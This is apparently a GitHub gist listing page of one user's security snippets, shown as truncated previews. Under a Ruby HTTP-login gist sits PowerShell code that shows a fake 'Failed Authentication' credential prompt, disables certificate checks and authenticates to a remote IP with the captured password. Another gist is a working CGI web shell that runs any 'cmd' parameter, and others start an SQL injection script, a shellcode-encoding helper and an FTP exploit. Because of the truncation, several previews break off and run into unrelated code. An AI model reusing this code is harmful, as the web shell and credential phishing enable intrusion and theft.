Skip to content

Instantly share code, notes, and snippets.

View KINGSABRI's full-sized avatar
♠️

KING SABRI KINGSABRI

♠️
View GitHub Profile
@KINGSABRI
KINGSABRI / multi-auth -req.rb
Last active August 29, 2015 09:27
To do multiple HTTP authenticated requests
require "net/http"
# Login
uri = URI.parse("http://xx.xx.xx/Login.aspx")
http = Net::HTTP.new(uri.host, uri.port)
http.set_debug_output($stdout)
request_login = Net::HTTP::Post.new(uri.request_uri)
request_login["Accept-Language"] = "en-US,en;q=0.5"
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('https://172.16.102.163');
@KINGSABRI
KINGSABRI / ex.rb
Last active August 29, 2015 14:14
#!/usr/bin/env ruby
# echo "GET /cgi/shell.rb?cmd=ls%20-la" | nc localhost 80
require 'cgi'
cgi = CGI.new
puts cgi.header
system(cgi['cmd'])
# Find All sum of 3-values that if we subtract from 0x1035E8EA wil give us 0x1035FFB4
# 0x1035E8EA
# 0x55554d66 -
# 0x55554b66 -
# 0x5555506a -
# ------------
# 0x1035FFB4
CHARS =
[
@KINGSABRI
KINGSABRI / hisokaSQLiBrowser.rb
Created September 16, 2015 23:33
For Ibrahim
#!/usr/bin/env ruby
#
# KING SABRI
# Hisoka SQLi - For Ibrahim
#
require 'open-uri'
require 'uri'
if ARGV.size < 2
puts "[+] ruby #{__FILE__} <IP_ADDRESS> <PAYLOAD>"
@KINGSABRI
KINGSABRI / Selenium Cheat Sheet.md
Created September 24, 2015 05:34 — forked from kenrett/Selenium Cheat Sheet.md
Selenium Cheat Sheet - Ruby

#Getting Started

##Webpage:

<html>
<head>
    <title>Testing with Ruby and Selenium WebDriver</title>
</head>
 
<body bgcolor="antiquewhite">
@KINGSABRI
KINGSABRI / OK-Client.rb
Created April 14, 2012 19:57
OK Client
require 'socket'
require 'logger'
# OK Client
def logger
# Creat Log file with rotation
@KINGSABRI
KINGSABRI / OK-server.rb
Created April 14, 2012 20:00
OK Server
#!/usr/bin/ruby
# OK Server
#
require 'rubygems'
require 'socket'
server = TCPServer.open(2000)
loop {
client = server.accept
client.puts "OK"
@KINGSABRI
KINGSABRI / ability-STOR6.rb
Created April 14, 2012 20:17
ability STOR
#!/bin/ruby
require 'colorize'
require 'socket'
mark_Red = "[+]".red
mark_Green = "[+]".green
mark_yellow = "[+]".yellow
##################################
#!/usr/bin/ruby
###################################################################
#### " _ _ _ _ ___ _ _ _ " ####
#### " | \| (_)_ _ (_)__ _ | __(_)_ _ _____ __ ____ _| | | " ####
#### " | .` | | ' \ | / _` | | _|| | '_/ -_) V V / _` | | | " ####
#### " |_|\_|_|_||_|/ \__,_| |_| |_|_| \___|\_/\_/\__,_|_|_| " ####
#### " |__/ " ####
###################################################################
#### Coded by: Sabry Saleh ####
#### Last update: ####